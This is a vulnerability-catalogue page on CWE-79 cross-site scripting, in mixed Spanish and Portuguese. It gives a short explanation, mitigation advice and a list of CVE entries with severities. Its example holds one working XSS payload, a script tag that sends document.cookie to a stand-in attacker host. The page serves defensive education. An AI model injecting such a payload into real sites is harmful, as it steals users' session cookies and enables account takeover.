Fallos del tipo CWE-79

29.716 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-47662MEDIUMWordPress Live Gold Price & Silver Price Charts Widgets Plugin <= 2.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-15094MEDIUMsunkaifei FlyCMS User Login UserController.java userLogin cross site scriptingEPSS 0.4%CVE-2024-32528HIGHWordPress WP Dynamic Keywords Injector plugin <= 2.3.18 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-47657MEDIUMWordPress Direct Checkout – Quick View – Buy Now For WooCommerce Plugin <= 1.5.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-12628MEDIUMbodi0’s Easy Cache <= 0.8 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-34563CRITICALCI4MS: Backup Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM Blind XSSEPSS 0.4%CVE-2024-10710LOWYaDisk Files <= 1.2.5 - Admin+ Stored XSSEPSS 0.4%CVE-2023-47245MEDIUMWordPress ANAC XML Viewer Plugin <= 1.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-92106LOWlazy_html serializes SVG and MathML style and script text unescaped, allowing mutation XSSEPSS 0.4%CVE-2024-31971MEDIUMMultiple stored cross-site scripting (XSS) vulnerabilities on AdTran NetVanta 3120 18.01.01.00.E devices allow remote attackers to inject arEPSS 0.4%CVE-2023-43999MEDIUMAn issue in COLORFUL_laundry mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel acEPSS 0.4%CVE-2024-24800HIGHWordPress Product Feed PRO for WooCommerce plugin <= 13.2.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-30123MEDIUMwuzhicms v4.1.0 is vulnerable to Cross Site Scripting (XSS) in the Member Center, Account Settings.EPSS 0.4%CVE-2024-47617MEDIUMReflected XSS Vulnerability in Sulu Media BundleEPSS 0.4%CVE-2025-36577MEDIUMDell Wyse Management Suite, versions prior to WMS 5.2, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site SEPSS 0.4%CVE-2023-3476LOWSimplePHPscripts GuestBook Script URL Parameter preview.php cross site scriptingEPSS 0.4%CVE-2023-25963MEDIUMWordPress JS Job Manager Plugin <= 2.0.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-29919HIGHWordPress Photo Gallery by Ays Plugin <=5.5.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-8140MEDIUMSourceCodester Task Progress Tracker update-task.php cross site scriptingEPSS 0.4%CVE-2023-3477LOWRocketSoft Rocket LMS Contact Form store cross site scriptingEPSS 0.4%